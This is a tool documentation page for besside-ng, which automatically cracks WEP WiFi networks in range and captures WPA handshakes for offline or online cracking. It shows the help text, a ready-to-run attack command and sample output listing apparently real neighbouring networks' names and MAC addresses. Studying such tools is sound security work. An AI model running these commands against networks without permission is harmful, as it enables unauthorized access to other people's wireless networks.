Automatically crack WiFi password with besside-ng

besside-ng is a tool like Wesside-ng but it support also WPA encryption. It will automatically crack all the WEP networks in range and log the WPA handshakes. WPA handshakes captured can be uploaded to the online cracking service at (Besside-ng Companion) to attempt to get the password and where provides useful statistics based on user-submitted capture files about the feasibility of WPA cracking.


  • Aircrack-ng SVN version
  • Wireless inteface with working injection

Automatically crack WEP & WPA password with besside-ng

root@kali:~# besside-ng -h

Besside-ng 1.2 rc4 - (C) 2010 Andrea Bittau

Usage: besside-ng [options] <interface>


-b <victim mac> : Victim BSSID
-R <victim ap regex> : Victim ESSID regex
-s <WPA server> : Upload wpa.cap for cracking
-c       <chan> : chanlock
-p       <pps>  : flood rate
-W              : WPA only
-v              : verbose, -vv for more, etc.
-h              : This help screen

besside-ng Usage Example

Attack WPA only (-W), display verbose output (-v) and use monitor mode interface wlan0mon.

root@kali:~# besside-ng -W -v wlan0mon
[18:39:34] mac 3c:46:d8:4e:ef:aa
[18:39:34] Let's ride
[18:39:34] Appending to wpa.cap
[18:39:34] Appending to wep.cap
[18:39:34] Logging to besside.log
[18:39:35] Found AP 44:3a:cb:38:51:42 [watwutwot] chan 1 crypto WPA dbm -49
[18:39:35] Found AP 4c:8b:30:83:ed:91 [TELUS3079-2.4G] chan 1 crypto WPA dbm -71
[18:39:35] Found AP 1c:87:2c:d3:34:18 [Kuroki] chan 3 crypto WPA dbm -89
[18:39:37] Found AP 4c:8b:30:24:71:75 [SAMUEL9] chan 8 crypto WPA dbm -73
[18:39:37] Found AP 0c:51:01:e6:01:c4 [fbi-van-24] chan 11 crypto WPA dbm -46
[18:39:37] Found AP 70:f1:96:8e:5c:02 [TELUS0455-2.4G] chan 11 crypto WPA dbm -78
[18:39:38] Found client for network [Kuroki] 90:06:28:cb:0f:f3
[18:39:41] Found AP f0:f2:49:3c:ec:a8 [fbi-van-24] chan 1 crypto WPA dbm -49
[18:39:42] Found AP bc:4d:fb:2c:6d:88 [SHAW-2C6D80] chan 6 crypto WPA dbm -77
[18:39:42] Found client for network [SHAW-2C6D80] 64:5a:04:98:e1:62
[18:39:43] Found AP 10:78:5b:e9:a4:e2 [TELUS2151] chan 11 crypto WPA dbm -49
[18:39:43] Found client for network [fbi-van-24] 60:6b:bd:5a:b6:6c

Usage Tips


Tool to cleanup WPA handshakes PCAP files in a directory and save them to an output file.


Author: Andrea Bittau (sorbo)
License: GPLv2

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